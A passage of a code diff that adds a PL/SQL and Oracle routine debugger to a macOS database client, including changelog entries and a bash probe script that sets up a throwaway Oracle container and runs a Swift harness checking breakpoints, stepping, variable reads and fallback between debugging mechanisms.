+        let withTarget = DatabaseTreeMenuContext.canDebugRoutine(.routine(ref), modules: modules) {
+            asked.append($0)
+            return target
+        }
+        let withoutTarget = DatabaseTreeMenuContext.canDebugRoutine(.routine(ref), modules: modules) { _ in nil }
+        let onATable = DatabaseTreeMenuContext.canDebugRoutine(.table(tableRef("orders")), modules: modules) { _ in
+            target
+        }
+
+        #expect(withTarget)
+        #expect(!withoutTarget)
+        #expect(!onATable)
+        #expect(asked == [ref.routine])
+    }
+}
diff --git a/apple/changelog.d/3860.added.md b/apple/changelog.d/3860.added.md
new file mode 100644
index 0000000000..cd3b2490dd
--- /dev/null
+++ b/apple/changelog.d/3860.added.md
@@ -0,0 +1 @@
+Routine Debugger in Settings > Extensions: step through PL/pgSQL and Oracle PL/SQL routines with breakpoints.
diff --git a/apple/changelog.d/3860.changed.md b/apple/changelog.d/3860.changed.md
new file mode 100644
index 0000000000..48ca96555f
--- /dev/null
+++ b/apple/changelog.d/3860.changed.md
@@ -0,0 +1 @@
+Settings > Plugins is now Settings > Extensions.
diff --git a/apple/scripts/probes/check-oracle-debugger.sh b/apple/scripts/probes/check-oracle-debugger.sh
new file mode 100755
index 0000000000..cc4283e4d2
--- /dev/null
+++ b/apple/scripts/probes/check-oracle-debugger.sh
@@ -0,0 +1,915 @@
+#!/usr/bin/env bash
+#
+# Debug PL/SQL against a real Oracle server through both of the Oracle plugin's mechanisms: DBMS_DEBUG_JDWP, where the
+# database connects back to this Mac, and DBMS_DEBUG, two client sessions. Runs TableProOracleCore's engine as the
+# plugin does: the first stop, breakpoints moving to the next line with code, stepping, step out, the stack, variables
+# (package, record, collection, quoted names, a name an inner block shadows), function results, overloads that differ
+# only in a parameter's type, the refusal of a call two overloads both match once defaults are left out, a unit loaded
+# before the debugger attached, Stop while paused, while reads and breakpoint calls run, while running and inside a
+# call that never returns to PL/SQL, and what Stop answers when it cannot end the target, the fallback from JDWP when
+# the ACL refuses it, the database never connects or the connection comes from an address that is not the database's,
+# a start the caller cancels, and the privilege refusal.
+#
+# Usage:
+#   scripts/probes/check-oracle-debugger.sh [container] [host] [port] [debugger host]
+#
+# Defaults suit a throwaway Oracle Free container on Docker Desktop, which the database reaches this Mac through as
+# host.docker.internal:
+#   docker run -d --name oracle-debug-probe -p 127.0.0.1:1521:1521 -e ORACLE_PASSWORD=probe_pw \
+#     -e APP_USER=probe -e APP_USER_PASSWORD=probe_pw gvenzl/oracle-free:23-slim-faststart
+#
+# Setup runs as SYS inside the container: DEBUG CONNECT SESSION for PROBE, users NOACL (no ACE) and NODEBUG (no
+# DEBUG CONNECT SESSION), jdwp ACEs for the debugger host and for 10.255.255.1 (which drops packets, for the timeout),
+# and PROBE's units PKG_CALC, PKG_OVER, PKG_AMBIG, P_WRITE, F_CALC, P_SPIN, P_BLOCKED and P_SHADOW compiled at
+# PLSQL_OPTIMIZE_LEVEL 1.
+# ALTER SYSTEM is granted to PROBE only for the scenarios that kill a target, then revoked. The listener uses ports
+# 15400-15420; macOS may ask once whether the probe may accept incoming connections. Exits non-zero on a
+# disagreement, 3 when a prerequisite is missing.
+
+set -uo pipefail
+
+CONTAINER="${1:-oracle-debug-probe}"
+HOST="${2:-127.0.0.1}"
+PORT="${3:-1521}"
+DEBUGGER_HOST="${4:-host.docker.internal}"
+UNREACHABLE_HOST="10.255.255.1"
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+
+if [ -z "${DEVELOPER_DIR:-}" ]; then
+    for candidate in /Applications/Xcode-beta.app /Applications/Xcode.app; do
+        if [ -d "$candidate/Contents/Developer" ]; then
+            export DEVELOPER_DIR="$candidate/Contents/Developer"
+            break
+        fi
+    done
+fi
+command -v swift > /dev/null || {
+    echo "swift not found" >&2
+    exit 3
+}
+docker exec "$CONTAINER" true 2> /dev/null || {
+    echo "container $CONTAINER is not running" >&2
+    exit 3
+}
+
+sql() {
+    docker exec -i "$CONTAINER" bash -lc "sqlplus -S -L '$1'" > /dev/null
+}
+
+sql "sys/probe_pw@localhost:1521/FREEPDB1 as sysdba" <<SQL
+whenever sqlerror continue
+grant debug connect session, create procedure to probe;
+create user noacl identified by probe_pw;
+grant create session, debug connect session to noacl;
+create user nodebug identified by probe_pw;
+grant create session to nodebug;
+begin
+  for h in (select '$DEBUGGER_HOST' host from dual union all select '$UNREACHABLE_HOST' from dual) loop
+    begin
+      dbms_network_acl_admin.append_host_ace(host => h.host, lower_port => 15400, upper_port => 15420,
+        ace => xs\$ace_type(privilege_list => xs\$name_list('jdwp'), principal_name => 'PROBE',
+                            principal_type => xs_acl.ptype_db));
+    exception
+      -- An ACE an earlier run left for an overlapping range already covers it.
+      when others then null;
+    end;
+  end loop;
+end;
+/
+exit
+SQL
+
+sql "probe/probe_pw@localhost:1521/FREEPDB1" <<'SQL'
+whenever sqlerror continue
+create table probe_log (id number generated always as identity, note varchar2(100));
+create or replace package pkg_calc as
+  g_spec_count pls_integer := 0;
+  function add_tax(p_amount number) return number;
+  function add_tax(p_amount number, p_rate number) return number;
+  procedure run(p_n pls_integer);
+end pkg_calc;
+/
+create or replace package body pkg_calc as
+  g_rate number := 0.1; "g.Rate" number := 0.2;
+  function add_tax(p_amount number) return number is
+    l_tax number;
+  begin
+    l_tax := p_amount * g_rate;
+    return p_amount + l_tax;
+  end add_tax;
+  procedure run(p_n pls_integer) is
+    l_total number := 0;
+    l_name  varchar2(30) := 'probe'; "a.b" number := 7; "Mixed case" varchar2(10) := 'mc';
+  begin
+    for i in 1 .. p_n loop
+      l_total := l_total + add_tax(i);
+    end loop;
+    dbms_output.put_line(l_name || ' total=' || l_total);
+  end run;
+  function add_tax(p_amount number, p_rate number) return number is
+  begin
+    return p_amount + p_amount * p_rate;
+  end add_tax;
+end pkg_calc;
+/
+create or replace procedure p_write(p_note varchar2, p_count out number) is
+  l_i pls_integer := 0;
+begin
+  insert into probe_log(note) values (p_note);
+  l_i := l_i + 1;
+  select count(*) into p_count from probe_log;
+  dbms_output.put_line('wrote ' || p_note);
+end p_write;
+/
+create or replace function f_calc(p_a number, p_b varchar2 default 'x', p_flag boolean default true) return number is
+  type t_nums is table of number index by pls_integer;
+  type t_rec is record (a number, b varchar2(10));
+  l_nums t_nums;
+  l_rec t_rec;
+  l_ok boolean := p_flag;
+  l_when date := date '2024-01-02';
+begin
+  l_nums(1) := p_a;
+  l_rec.a := p_a;
+  l_rec.b := p_b;
+  return p_a * 2;
+end f_calc;
+/
+create or replace procedure p_spin(p_seconds number) is
+  l_end timestamp with time zone := systimestamp + numtodsinterval(p_seconds, 'SECOND');
+  l_n pls_integer := 0;
+begin
+  insert into probe_log(note) values ('spin start');
+  while systimestamp < l_end loop
+    l_n := l_n + 1;
+  end loop;
+  dbms_output.put_line('spun ' || l_n);
+end p_spin;
+/
+create or replace package pkg_over as
+  procedure show(p_x number);
+  procedure show(p_x varchar2);
+end pkg_over;
+/
+create or replace package body pkg_over as
+  procedure show(p_x number) is
+  begin
+    dbms_output.put_line('number ' || nvl(to_char(p_x), 'null'));
+  end show;
+  procedure show(p_x varchar2) is
+  begin
+    dbms_output.put_line('varchar2 ' || nvl(p_x, 'null'));
+  end show;
+end pkg_over;
+/
+create or replace package pkg_ambig as
+  procedure p(x number default 1);
+  procedure p(x varchar2 default 'a');
+  procedure q(a number);
+  procedure q(a number, b varchar2 default 'x');
+end pkg_ambig;
+/
+create or replace package body pkg_ambig as
+  procedure p(x number default 1) is
+  begin
+    dbms_output.put_line('number ' || x);
+  end p;
+  procedure p(x varchar2 default 'a') is
+  begin
+    dbms_output.put_line('varchar2 ' || x);
+  end p;
+  procedure q(a number) is
+  begin
+    dbms_output.put_line('q1 ' || a);
+  end q;
+  procedure q(a number, b varchar2 default 'x') is
+  begin
+    dbms_output.put_line('q2 ' || a || ' ' || b);
+  end q;
+end pkg_ambig;
+/
+create or replace procedure p_blocked is
+  l_n number;
+begin
+  insert into probe_log(note) values ('blocked');
+  dbms_session.sleep(30);
+  dbms_output.put_line('slept');
+end p_blocked;
+/
+create or replace procedure p_shadow(p_n number) is
+  x constant number := 1;
+begin
+  declare
+    x varchar2(20) := 'inner';
+    l_b number := 2;
+  begin
+    dbms_output.put_line(x || l_b);
+  end;
+  dbms_output.put_line(x || p_n);
+end p_shadow;
+/
+alter procedure p_shadow compile plsql_optimize_level=1 reuse settings;
+alter procedure p_blocked compile plsql_optimize_level=1 reuse settings;
+alter package pkg_over compile body plsql_optimize_level=1 reuse settings;
+alter package pkg_ambig compile body plsql_optimize_level=1 reuse settings;
+alter package pkg_calc compile plsql_optimize_level=1 reuse settings;
+alter package pkg_calc compile body plsql_optimize_level=1 reuse settings;
+alter procedure p_write compile plsql_optimize_level=1 reuse settings;
+alter function f_calc compile plsql_optimize_level=1 reuse settings;
+alter procedure p_spin compile plsql_optimize_level=1 reuse settings;
+grant execute, debug on f_calc to noacl;
+delete from probe_log;
+commit;
+exit
+SQL
+
+WORK="$(mktemp -d)"
+trap 'rm -rf "$WORK"' EXIT
+mkdir -p "$WORK/Sources/Probe"
+
+cat > "$WORK/Package.swift" <<EOF
+// swift-tools-version: 6.0
+import PackageDescription
+
+let package = Package(
+    name: "Probe",
+    platforms: [.macOS(.v14)],
+    dependencies: [.package(path: "$ROOT/Packages/TableProOracle")],
+    targets: [
+        .executableTarget(
+            name: "Probe",
+            dependencies: [.product(name: "TableProOracleCore", package: "TableProOracle")]
+        )
+    ]
+)
+EOF
+
+cat > "$WORK/Sources/Probe/main.swift" <<'EOF'
+import Foundation
+import TableProOracleCore
+
+let args = CommandLine.arguments
+let host = args[1]
+let port = Int(args[2]) ?? 1_521
+let debuggerHost = args[3]
+let unreachableHost = args[4]
+let scenario = args.count > 5 ? args[5] : "all"
+nonisolated(unsafe) var failures = 0
+
+func log(_ text: String) {
+    let stamp = String(format: "%.2f", Date().timeIntervalSince1970.truncatingRemainder(dividingBy: 1000))
+    print("[\(stamp)] \(text)")
+    fflush(stdout)
+}
+
+func check(_ ok: Bool, _ what: String) {
+    print("\(ok ? "ok  " : "FAIL") \(what)")
+    if !ok { failures += 1 }
+}
+
+func open(_ user: String) async throws -> OracleCoreConnection {
+    let connection = OracleCoreConnection(options: OracleConnectionOptions(
+        host: host, port: port, user: user, password: "probe_pw", identifierMode: .service, serviceName: "FREEPDB1"
+    ))
+    try await connection.connect()
+    try await connection.captureServerOutput()
+    return connection
+}
+
+func scalar(_ sql: String, as user: String = "probe") async -> String? {
+    guard let connection = try? await open(user) else { return nil }
+    defer { connection.disconnect() }
+    return try? await connection.executeQuery(sql).rows.first?.first?.stringValue
+}
+
+func entryPoints(_ unit: OracleDebugUnit, as user: String = "probe") async throws -> [OracleDebugEntryPoint] {
+    let connection = try await open(user)
+    defer { connection.disconnect() }
+    let result = try await connection.executeQuery(OracleDebugStatements.entryPoints(of: unit))
+    return OracleDebugStatements.parseEntryPoints(rows: result.rows.map { $0.map(\.stringValue) }, unit: unit)
+}
+
+final class Opened: @unchecked Sendable {
+    var connections: [OracleCoreConnection] = []
+    let lock = NSLock()
+    func add(_ c: OracleCoreConnection) { lock.withLock { connections.append(c) } }
+    func closeAll() { lock.withLock { connections.forEach { $0.disconnect() }; connections.removeAll() } }
+}
+
+func launch(
+    _ entry: OracleDebugEntryPoint,
+    arguments: [String: OracleDebugArgumentValue],
+    breakpoints: [OracleDebugBreakpointRequest] = [],
+    preference: OracleDebugProtocolPreference,
+    debuggerHost: String = debuggerHost,
+    user: String = "probe",
+    timeout: Duration = .seconds(15),
+    databaseHost: String = host,
+    startup: String? = nil,
+    overloads: [OracleDebugEntryPoint] = [],
+    opened: Opened
+) async throws -> any OracleDebugEngine {
+    try await OracleDebugLauncher.launch(
+        OracleDebugLaunch(
+            entryPoint: entry,
+            arguments: arguments,
+            breakpoints: breakpoints,
+            preference: preference,
+            debuggerHost: debuggerHost,
+            ports: 15_400...15_420,
+            databaseHost: databaseHost,
+            databasePort: port,
+            overloads: overloads,
+            connectTimeout: timeout
+        ),
+        openSession: {
+            let c = try await open(user)
+            opened.add(c)
+            if let startup { _ = try await c.executeQuery(startup) }
+            return c
+        }
+    )
+}
+
+func drain(_ engine: any OracleDebugEngine) -> Task<[OracleDebugNotice], Never> {
+    let stream = engine.notices
+    return Task {
+        var all: [OracleDebugNotice] = []
+        for await notice in stream { all.append(notice) }
+        return all
+    }
+}
+
+func describe(_ stop: OracleDebugStop) -> String {
+    switch stop {
+    case .paused(let location): return "paused \(location.unit.kind.rawValue) \(location.unit.name) line \(location.line)"
+    case .finished(let outcome): return "finished " + outcome.values.map { "\($0.name)=\($0.value ?? "NULL")" }.joined(separator: ", ")
+    case .failed(let failure): return "failed \(failure)"
+    }
+}
+
+func describe(_ variables: [OracleDebugVariable]) -> String {
+    variables.map { variable in
+        let value: String
+        switch variable.value {
+        case .scalar(let text): value = text ?? "NULL"
+        case .record(let members): value = "(" + members.map { "\($0.name) => \($0.value ?? "NULL")" }.joined(separator: ", ") + ")"
+        case .collection(let count): value = "[collection \(count.map(String.init) ?? "?")]"
+        case .unavailable: value = "?"
+        }
+        return "\(variable.kind) \(variable.name) \(variable.typeName ?? "") = \(value)"
+    }.joined(separator: "; ")
+}
+
+let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+let pWrite = OracleDebugUnit(owner: "PROBE", name: "P_WRITE", kind: .procedure)
+let fCalc = OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function)
+let pSpin = OracleDebugUnit(owner: "PROBE", name: "P_SPIN", kind: .procedure)
+let overBody = OracleDebugUnit(owner: "PROBE", name: "PKG_OVER", kind: .packageBody)
+let pBlocked = OracleDebugUnit(owner: "PROBE", name: "P_BLOCKED", kind: .procedure)
+let ambigBody = OracleDebugUnit(owner: "PROBE", name: "PKG_AMBIG", kind: .packageBody)
+let pShadow = OracleDebugUnit(owner: "PROBE", name: "P_SHADOW", kind: .procedure)
+
+func output(_ notices: Task<[OracleDebugNotice], Never>) async -> [String] {
+    await notices.value.compactMap { notice -> String? in
+        if case .serverOutput(let line) = notice { return line }
+        return nil
+    }
+}
+
+func walkthrough(_ preference: OracleDebugProtocolPreference) async throws {
+    log("=== walkthrough \(preference)")
+    let entries = try await entryPoints(calcBody)
+    log("entry points: " + entries.map { "\($0.entry.identity) \($0.displayName)" }.joined(separator: " | "))
+    guard let run = entries.first(where: { $0.entry.subprogram == "RUN" }) else { check(false, "RUN listed"); return }
+    let opened = Opened()
+    defer { opened.closeAll() }
+    let engine = try await launch(run, arguments: ["P_N": .text("2")], breakpoints: [.init(unit: calcBody, line: 4)], preference: preference, opened: opened)
+    let notices = drain(engine)
+    log("mechanism \(engine.mechanism)")
+    let first = try await engine.firstStop()
+    log("firstStop: \(describe(first))")
+    check(first == .paused(OracleDebugLocation(unit: calcBody, line: 9)), "\(preference): first stop is RUN's header line 9")
+    log("stack: \(try await engine.stack().map { "\($0.level):\($0.location.unit.name):\($0.location.line):\($0.subprogram ?? "")" })")
+    log("vars: \(describe(try await engine.variables(inFrame: 0)))")
+    let placed = try await engine.setBreakpoint(in: calcBody, line: 6)
+    check(placed == 6, "\(preference): breakpoint at 6 placed at \(placed.map(String.init) ?? "nil")")
+    let moved = try await engine.setBreakpoint(in: calcBody, line: 4)
+    log("breakpoint at 4 placed at \(moved.map(String.init) ?? "nil")")
+    if let moved { try await engine.removeBreakpoint(in: calcBody, line: moved) }
+    let held = try await engine.perform(.continueExecution)
+    log("continue with the start breakpoint still set: \(describe(held))")
+    check(held == .paused(OracleDebugLocation(unit: calcBody, line: 5)), "\(preference): the start breakpoint asked for 4 still stops at 5")
+    // A start breakpoint comes off by the line the host asked for, wherever it landed.
+    try await engine.removeBreakpoint(in: calcBody, line: 4)
+    let atBreakpoint = try await engine.perform(.continueExecution)
+    log("continue: \(describe(atBreakpoint))")
+    check(atBreakpoint == .paused(OracleDebugLocation(unit: calcBody, line: 6)), "\(preference): continue stops at 6")
+    let stack = try await engine.stack()
+    log("stack: \(stack.map { "\($0.level):\($0.location.unit.name):\($0.location.line):\($0.subprogram ?? "")" })")
+    check(stack.count == 2 && stack.last?.location.line == 14, "\(preference): two frames, caller at line 14")
+    let top = try await engine.variables(inFrame: 0)
+    log("vars 0: \(describe(top))")
+    check(top.contains { $0.name == "P_AMOUNT" && $0.value == .scalar("1") }, "\(preference): P_AMOUNT = 1")
+    check(top.contains { $0.name == "G_RATE" && $0.kind == .package && $0.value == .scalar(".1") }, "\(preference): G_RATE = .1 as package variable")
+    let caller = try await engine.variables(inFrame: 1)
+    log("vars 1: \(describe(caller))")
+    check(caller.contains { $0.name == "L_NAME" && $0.value == .scalar("probe") }, "\(preference): caller L_NAME = probe")
+    if engine.mechanism == .dbmsDebug {
+        // Asked for unquoted, GET_VALUE reads "a.b" as member b of a. Quoted, it finds "a.b" and "g.Rate", but never a
+        // name with a space.
+        check(caller.contains { $0.name == "a.b" && $0.value == .scalar("7") }, "dbmsDebug: caller \"a.b\" = 7")
+        check(caller.contains { $0.name == "Mixed case" && $0.value == .unavailable }, "dbmsDebug: caller \"Mixed case\" shows as not readable")
+        check(top.contains { $0.name == "g.Rate" && $0.kind == .package && $0.value == .scalar(".2") }, "dbmsDebug: \"g.Rate\" = .2 as package variable")
+    }
+    let over = try await engine.perform(.stepOver)
+    log("step over: \(describe(over))")
+    check(over == .paused(OracleDebugLocation(unit: calcBody, line: 7)), "\(preference): step over reaches 7")
+    let out = try await engine.perform(.stepOut)
+    log("step out: \(describe(out))")
+    if case .paused(let location) = out { check(location.line == 13 || location.line == 14, "\(preference): step out lands in RUN (line \(location.line))") } else { check(false, "step out paused") }
+    let into = try await engine.perform(.stepOver)
+    log("step over: \(describe(into))")
+    try await engine.removeBreakpoint(in: calcBody, line: 6)
+    let end = try await engine.perform(.continueExecution)
+    log("continue to end: \(describe(end))")
+    if case .finished = end { check(true, "\(preference): finished") } else { check(false, "\(preference): finished") }
+    let all = await notices.value
+    log("notices: \(all)")
+    check(all.contains(.serverOutput("probe total=3.3")), "\(preference): DBMS_OUTPUT line delivered")
+    check(await engine.stop() == .ended, "\(preference): Stop after the routine finished answers ended")
+}
+
+func outputs(_ preference: OracleDebugProtocolPreference) async throws {
+    log("=== outputs \(preference)")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(fCalc).first else { check(false, "F_CALC entry"); return }
+    log("F_CALC entry \(entry.displayName) params \(entry.parameters.map { "\($0.name) \($0.mode) default=\($0.hasDefault)" })")
+    let engine = try await launch(entry, arguments: ["P_A": .text("21"), "P_B": .defaultValue, "P_FLAG": .text("false")], breakpoints: [.init(unit: fCalc, line: 12)], preference: preference, opened: opened)
+    let notices = drain(engine)
+    log("first: \(describe(try await engine.firstStop()))")
+    let stop = try await engine.perform(.continueExecution)
+    log("at 12: \(describe(stop))")
+    log("vars: \(describe(try await engine.variables(inFrame: 0)))")
+    let end = try await engine.perform(.continueExecution)
+    log("end: \(describe(end))")
+    check(end == .finished(OracleDebugOutcome(values: [.init(name: "F_CALC", typeName: "NUMBER", value: "42")])), "\(preference): F_CALC returns 42")
+    _ = await notices.value
+    check(await engine.stop() == .ended, "\(preference): Stop after F_CALC finished answers ended")
+}
+
+func stopPaused(_ preference: OracleDebugProtocolPreference) async throws {
+    log("=== stop while paused \(preference)")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(pWrite).first else { return }
+    let note = "stop-paused-\(preference.rawValue)"
+    let engine = try await launch(entry, arguments: ["P_NOTE": .text(note)], breakpoints: [.init(unit: pWrite, line: 6)], preference: preference, opened: opened)
+    _ = drain(engine)
+    log("first: \(describe(try await engine.firstStop()))")
+    let at = try await engine.perform(.continueExecution)
+    log("after insert: \(describe(at))")
+    let started = Date()
+    let outcome = await engine.stop()
+    let waited = Date().timeIntervalSince(started)
+    log("stop returned \(outcome) after \(String(format: "%.2f", waited)) s")
+    check(waited < 3, "\(preference): Stop while paused returns within 3 s")
+    check(outcome == .ended, "\(preference): Stop while paused confirms the target ended")
+    check(await engine.stop() == .ended, "\(preference): a second Stop answers the same")
+    opened.closeAll()
+    let rows = await scalar("SELECT COUNT(*) FROM probe_log WHERE note = '\(note)'")
+    check(rows == "0", "\(preference): insert rolled back after stop while paused (rows=\(rows ?? "?"))")
+}
+
+// JDWP ends the target by closing its socket. DBMS_DEBUG cannot reach a routine running between breakpoints: with ALTER
+// SYSTEM the supervisor kills the target's session; without it the waiting call says the routine still runs.
+func stopRunning(_ preference: OracleDebugProtocolPreference, canKill: Bool = false) async throws {
+    log("=== stop while running \(preference)\(canKill ? " with ALTER SYSTEM" : "")")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(pSpin).first else { return }
+    let spin = canKill ? 40 : 20
+    let engine = try await launch(entry, arguments: ["P_SECONDS": .text(String(spin))], preference: preference, opened: opened)
+    let notices = drain(engine)
+    log("first: \(describe(try await engine.firstStop()))")
+    let running = Task { try await engine.perform(.continueExecution) }
+    try await Task.sleep(for: .seconds(3))
+    let started = Date()
+    let outcome = await engine.stop()
+    let waited = Date().timeIntervalSince(started)
+    log("stop returned \(outcome) after \(String(format: "%.2f", waited)) s")
+    check(waited < 3, "\(preference): Stop while running returns within 3 s")
+    if preference == .dbmsDebug, !canKill {
+        guard case .unconfirmed(let identity) = outcome, identity?.serial != nil else {
+            check(false, "dbmsDebug: Stop without ALTER SYSTEM answers unconfirmed, naming the session")
+            return
+        }
+        check(true, "dbmsDebug: Stop without ALTER SYSTEM answers unconfirmed, naming the session")
+    } else {
+        check(outcome == .ended, "\(preference): Stop while running confirms the target ended")
+    }
+    opened.closeAll()
+    let result = try? await running.value
+    log("waiting continue returned: \(result.map(describe) ?? "threw")")
+    log("notices: \(await notices.value)")
+    if preference == .dbmsDebug, !canKill {
+        guard case .failed(.stillRunning(let identity))? = result else {
+            check(false, "dbmsDebug: the waiting Continue says the routine still runs")
+            return
+        }
+        check(identity?.serial != nil, "dbmsDebug: the waiting Continue names the session (\(String(describing: identity)))")
+        try await Task.sleep(for: .seconds(Double(spin)))
+    } else {
+        check(result == .failed(.stopped), "\(preference): the waiting Continue ends as stopped")
+        check(waited < Double(spin) - 10, "\(preference): the routine ended before its own end")
+    }
+    let rows = await scalar("SELECT COUNT(*) FROM probe_log WHERE note = 'spin start'")
+    check(rows == "0", "\(preference): the routine's insert rolled back (rows=\(rows ?? "?"))")
+}
+
+func fallback() async throws {
+    log("=== fallback: no ACE for NOACL")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(fCalc, as: "noacl").first else { check(false, "NOACL sees F_CALC"); return }
+    let engine = try await launch(entry, arguments: ["P_A": .text("5")], preference: .automatic, user: "noacl", opened: opened)
+    let notices = drain(engine)
+    check(engine.mechanism == .dbmsDebug, "automatic fell back to DBMS_DEBUG")
+    log("first: \(describe(try await engine.firstStop()))")
+    log("end: \(describe(try await engine.perform(.continueExecution)))")
+    let all = await notices.value
+    log("notices: \(all)")
+    check(all.contains { if case .fellBack(.accessControlList, _, _) = $0 { return true }; return false }, "fallback notice names the ACL")
+}
+
+func timeoutFallback() async throws {
+    log("=== fallback: unreachable host times out")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(fCalc).first else { return }
+    let started = Date()
+    let engine = try await launch(entry, arguments: ["P_A": .text("5")], preference: .automatic, debuggerHost: unreachableHost, timeout: .seconds(8), opened: opened)
+    let notices = drain(engine)
+    log("launch took \(String(format: "%.2f", Date().timeIntervalSince(started))) s, mechanism \(engine.mechanism)")
+    check(engine.mechanism == .dbmsDebug, "a connect that never arrives falls back to DBMS_DEBUG")
+    log("first: \(describe(try await engine.firstStop()))")
+    log("end: \(describe(try await engine.perform(.continueExecution)))")
+    let all = await notices.value
+    log("notices: \(all)")
+    let timedOut = all.contains { notice in
+        if case .fellBack(.timedOut, _, _) = notice { return true }
+        return false
+    }
+    check(timedOut, "the fallback names the timeout, not the ACL")
+}
+
+func privilege() async {
+    log("=== privilege: NODEBUG")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    let entry = OracleDebugEntryPoint(entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "NODEBUG", name: "NOPE", kind: .procedure), subprogram: "NOPE", subprogramID: 1), overload: nil, parameters: [], result: nil)
+    for preference in [OracleDebugProtocolPreference.jdwp, .dbmsDebug] {
+        do {
+            _ = try await launch(entry, arguments: [:], preference: preference, user: "nodebug", opened: opened)
+            check(false, "\(preference): NODEBUG refused")
+        } catch {
+            log("\(preference): \(error)")
+            check(true, "\(preference): NODEBUG refused")
+        }
+    }
+}
+
+// The address check: a database host that does not resolve to where the connection comes from is refused, and named.
+func peerCheck() async throws {
+    log("=== peer check: the connection back comes from 127.0.0.1, the database host is given as 127.0.0.2")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(fCalc).first else { return }
+    let started = Date()
+    let engine = try await launch(entry, arguments: ["P_A": .text("5")], preference: .automatic, databaseHost: "127.0.0.2", opened: opened)
+    let notices = drain(engine)
+    log("launch took \(String(format: "%.2f", Date().timeIntervalSince(started))) s, mechanism \(engine.mechanism)")
+    log("end: \(describe(try await engine.firstStop())) / \(describe(try await engine.perform(.continueExecution)))")
+    let all = await notices.value
+    log("notices: \(all)")
+    let refused = all.contains { notice in
+        if case .fellBack(.unexpectedPeer(let seen), _, _) = notice { return seen == ["127.0.0.1"] }
+        return false
+    }
+    check(refused && engine.mechanism == .dbmsDebug, "a peer from another address is refused and named, and the run falls back")
+}
+
+// Two overloads of SHOW differ only in P_X's type; the chosen one must run.
+func overloads(_ preference: OracleDebugProtocolPreference) async throws {
+    log("=== overloads \(preference)")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    let entries = try await entryPoints(overBody)
+    log("entry points: \(entries.map(\.displayName))")
+    for entry in entries {
+        for value in [OracleDebugArgumentValue.text("5"), .null] {
+            let engine = try await launch(entry, arguments: ["P_X": value], preference: preference, opened: opened)
+            let notices = drain(engine)
+            let first = try await engine.firstStop()
+            let end = try await engine.perform(.continueExecution)
+            let lines = await notices.value.compactMap { notice -> String? in
+                if case .serverOutput(let line) = notice { return line }
+                return nil
+            }
+            log("\(entry.displayName) with \(value): first \(describe(first)), \(describe(end)), output \(lines)")
+            let type = entry.parameters.first?.dataType == "NUMBER" ? "number" : "varchar2"
+            let expected = value == .null ? "\(type) null" : "\(type) 5"
+            check(lines == [expected], "\(preference): \(entry.displayName) with \(value) runs its own overload")
+        }
+    }
+}
+
+// The host cancels a start that is still waiting for the database to connect back.
+func cancelStart() async throws {
+    log("=== cancel while JDWP waits for the database")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(fCalc).first else { return }
+    let task = Task {
+        try await launch(entry, arguments: ["P_A": .text("5")], preference: .jdwp, debuggerHost: unreachableHost, opened: opened)
+    }
+    try await Task.sleep(for: .seconds(3))
+    let started = Date()
+    task.cancel()
+    let outcome: String
+    do {
+        _ = try await task.value
+        outcome = "returned a session"
+    } catch is CancellationError {
+        outcome = "CancellationError"
+    } catch {
+        outcome = "\(error)"
+    }
+    let waited = Date().timeIntervalSince(started)
+    let targets = opened.lock.withLock { opened.connections }
+    log("cancel: \(outcome) after \(String(format: "%.2f", waited)) s; sessions still connected: \(targets.filter(\.isConnected).count) of \(targets.count)")
+    check(outcome == "CancellationError" && waited < 8, "a cancelled start throws CancellationError promptly")
+    check(targets.count == 2 && !targets[1].isConnected, "the waiting CONNECT_TCP was ended by closing the target's channel")
+}
+
+// A startup command that calls the package before CONNECT_TCP: the unit is loaded before the debugger attaches.
+func preloaded() async throws {
+    log("=== jdwp, the package already ran in the session before CONNECT_TCP")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let run = try await entryPoints(calcBody).first(where: { $0.entry.subprogram == "RUN" }) else { return }
+    let engine = try await launch(
+        run, arguments: ["P_N": .text("2")], breakpoints: [.init(unit: calcBody, line: 6)], preference: .jdwp,
+        startup: "SELECT PROBE.PKG_CALC.ADD_TAX(1) FROM SYS.DUAL", opened: opened
+    )
+    _ = drain(engine)
+    let first = try await engine.firstStop()
+    let next = try await engine.perform(.continueExecution)
+    log("first \(describe(first)), then \(describe(next))")
+    check(first == .paused(OracleDebugLocation(unit: calcBody, line: 9)), "preloaded: the entry stop still comes")
+    check(next == .paused(OracleDebugLocation(unit: calcBody, line: 6)), "preloaded: a start-time breakpoint still fires")
+    check(await engine.stop() == .ended, "preloaded: Stop while paused answers ended")
+}
+
+// Stop while the routine waits in a call that never returns to PL/SQL (DBMS_SESSION.SLEEP): JDWP's closed socket is
+// not seen there, so the target is killed, or said to be still running.
+func blocked(canKill: Bool) async throws {
+    log("=== jdwp, Stop during DBMS_SESSION.SLEEP\(canKill ? " with ALTER SYSTEM" : "")")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(pBlocked).first else { return }
+    let engine = try await launch(entry, arguments: [:], breakpoints: [.init(unit: pBlocked, line: 5)], preference: .jdwp, opened: opened)
+    let notices = drain(engine)
+    _ = try await engine.firstStop()
+    let atSelect = try await engine.perform(.continueExecution)
+    log("at the sleep: \(describe(atSelect))")
+    let running = Task { try await engine.perform(.stepOver) }
+    try await Task.sleep(for: .seconds(2))
+    let started = Date()
+    let outcome = await engine.stop()
+    let waited = Date().timeIntervalSince(started)
+    let result = try? await running.value
+    log("stop returned \(outcome) after \(String(format: "%.2f", waited)) s; waiting step: \(result.map(describe) ?? "threw"); notices \(await notices.value)")
+    check(waited < 3, "blocked call: Stop returns within 3 s")
+    if canKill {
+        check(outcome == .ended, "blocked call with ALTER SYSTEM: Stop confirms the target ended")
